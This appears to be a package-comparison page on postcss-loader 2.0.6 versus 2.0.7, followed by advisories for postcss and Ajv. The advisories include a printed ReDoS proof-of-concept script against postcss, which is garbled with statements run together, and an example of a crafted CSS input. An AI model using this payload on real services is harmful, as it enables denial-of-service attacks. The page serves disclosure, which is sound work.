postcss-loader versions 2.0.6 and 2.0.7 are both PostCSS loaders for webpack, enabling developers to process CSS with PostCSS within their webpack builds. Examining the differences reveals subtle but important updates for developers to consider. Version 2.0.7, released on October 10, 2017, maintains the core dependencies like loader-utils, postcss, postcss-load-config, and schema-utils from version 2.0.6, released on June 14, 2017.
However, the key changes lie in the devDependencies. Version 2.0.7 upgrades several developer tools, the crucial difference is Webpack "webpack":"^3.0.0" that was "webpack":"^2.6.1" for versin 2.0.6. The newer version ships with "jest":"^21.0.0" while the older version had "jest":"^20.0.4". This ensures compatibility and takes advantage of the latest features and bug fixes within the webpack ecosystem. The subtle difference in the dependencies can improve build performance, stability, and allow developers to leverage more recent tooling features. For developers using postcss-loader, upgrading from 2.0.6 to 2.0.7 primarily offers improvements in the build and testing environment, streamlining the development workflow and potentially addressing compatibility issues with newer versions of webpack and related tools. Always test thoroughly after upgrading dependencies.
All the vulnerabilities related to the version 2.0.7 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.
Prototype Pollution in Ajv
An issue was discovered in ajv.validate() in Ajv (aka Another JSON Schema Validator) 6.12.2. A carefully crafted JSON schema could be provided that allows execution of other code by prototype pollution. (While untrusted schemas are recommended against, the worst case of an untrusted schema should be a denial of service, not execution of code.)